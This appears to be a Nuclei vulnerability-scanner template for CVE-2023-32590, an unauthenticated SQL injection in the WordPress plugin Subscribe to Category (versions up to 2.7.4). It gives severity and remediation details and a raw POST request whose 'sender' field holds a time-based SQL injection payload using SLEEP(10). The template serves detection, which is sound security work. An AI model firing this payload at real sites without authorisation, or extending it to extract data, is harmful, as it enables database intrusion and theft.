CVE-2023-32590: Subscribe to Category <= 2.7.4 - SQL Injection

id: CVE-2023-32590

info:
  name: Subscribe to Category <= 2.7.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Subscribe to Category contains a sql_injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
  remediation: |
    Update to the latest version beyond 2.7.4 or apply security patches that neutralize special elements in SQL queries.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/subscribe-to-category/subscribe-to-category-274-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32590
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2023-32590
    epss-score: 0.01808
    epss-percentile: 0.77492
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,subscribe-to-category,unauth

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-json/textmagic/v1/smsreceived HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sender": "1' AND (SELECT 1 FROM (SELECT(SLEEP(10)))sqltest) AND '1'='1","text": "test"}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 10'
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4a0a0047304502205119de509243116c31fe83f80ce421f82f8113b8b5e713dd490f23f2ab1b66b9022100eeca8b95a15cc56792c18114ee4a874a8f073b1254d1209991ee50d9f47142a7:922c64590222798bb761d5b6d8e72950

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